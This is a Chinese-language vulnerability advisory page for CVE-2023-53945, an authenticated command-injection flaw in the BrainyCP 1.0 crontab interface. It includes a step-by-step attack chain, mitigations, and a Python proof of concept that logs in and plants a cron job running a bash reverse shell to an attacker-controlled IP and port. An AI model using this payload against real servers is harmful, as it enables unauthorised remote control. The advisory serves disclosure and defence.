IPBUF安全漏洞报告
English
CVE-2023-53945 CVSS 8.8 高危

CVE-2023-53945 BrainyCP 1.0 认证用户远程代码执行漏洞

披露日期: 2025-12-19

漏洞信息

漏洞编号
CVE-2023-53945
漏洞类型
远程代码执行(RCE)
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
BrainyCP 1.0

相关标签

远程代码执行BrainyCP命令注入CVE-2023-53945认证用户漏洞crontab高危漏洞CVSS 8.8

漏洞概述

CVE-2023-53945是BrainyCP 1.0版本中的一个严重安全漏洞,属于认证用户远程代码执行(RCE)漏洞。该漏洞允许已登录的低权限用户通过crontab配置界面注入任意系统命令。BrainyCP是一款广泛使用的服务器控制面板,用户可以通过其Web界面管理服务器的各种配置,包括计划任务(crontab)设置。由于该产品在处理crontab配置时缺乏足够的输入过滤和验证,攻击者可以在任务计划中插入恶意命令,当系统执行这些计划任务时,攻击者注入的代码将被执行,从而实现对服务器的控制。攻击者通常利用此漏洞建立反向shell连接,实现持久化访问和进一步横向移动。该漏洞的CVSS评分达到8.8,属于高危级别,对系统机密性、完整性和可用性均造成严重影响。

技术细节

该漏洞的根本原因在于BrainyCP的crontab配置接口未对用户输入进行充分的命令注入过滤。攻击者以低权限用户身份登录系统后,访问crontab管理功能,在配置计划任务时可以在命令字段中注入任意系统命令。例如,攻击者可以构造包含反弹shell的命令,如通过netcat建立反向连接,将服务器的shell会话重定向到攻击者控制的远程主机。由于crontab任务以系统权限执行,攻击者注入的命令同样具有相应的执行权限,从而获得服务器的控制权。漏洞利用的关键在于系统对crontab配置输入的验证不足,允许特殊字符和命令连接符(如分号、管道符、反引号等)未被正确转义或过滤。攻击者利用这一缺陷,可以在看似正常的计划任务配置中隐藏恶意payload,等待系统自动执行时触发攻击。

攻击链分析

STEP 1
步骤1
攻击者获取BrainyCP系统的有效用户凭据(低权限账户即可)
STEP 2
步骤2
使用获取的凭据登录BrainyCP控制面板
STEP 3
步骤3
导航至crontab配置管理界面
STEP 4
步骤4
创建新的计划任务,在命令字段中注入恶意命令(如反弹shell payload)
STEP 5
步骤5
保存crontab配置,系统将恶意命令写入计划任务
STEP 6
步骤6
等待计划任务执行或手动触发,恶意命令以系统权限运行
STEP 7
步骤7
攻击者获得服务器的反向shell连接,实现远程代码执行

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import time # CVE-2023-53945 PoC - BrainyCP Authenticated RCE via Crontab # Target: BrainyCP 1.0 # Attack: Inject reverse shell command via crontab configuration target_url = "http://target.com:8888" username = "attacker" password = "password123" attacker_ip = "10.0.0.1" attacker_port = "4444" session = requests.Session() # Step 1: Login to BrainyCP login_url = f"{target_url}/api/auth/login" login_data = { "username": username, "password": password } response = session.post(login_url, json=login_data) # Step 2: Create malicious cronjob with reverse shell cron_url = f"{target_url}/api/cron/create" # Payload: Reverse shell using netcat malicious_command = f"/bin/bash -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1" cron_data = { "minute": "*", "hour": "*", "day": "*", "month": "*", "weekday": "*", "command": malicious_command, "active": 1 } response = session.post(cron_url, json=cron_data) # Step 3: Trigger cron execution immediately (if API supports) print(f"[+] Cronjob created, waiting for execution...") print(f"[+] Connect to {attacker_ip}:{attacker_port} with netcat")

影响范围

BrainyCP 1.0

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1)限制BrainyCP的访问来源,仅允许受信任的IP地址访问管理界面;2)禁用或限制低权限用户的crontab配置功能;3)监控crontab配置变更日志,及时发现异常配置;4)网络层面限制出站连接,防止反弹shell成功建立;5)考虑使用应用运行时防护(RASP)技术监控可疑命令执行行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表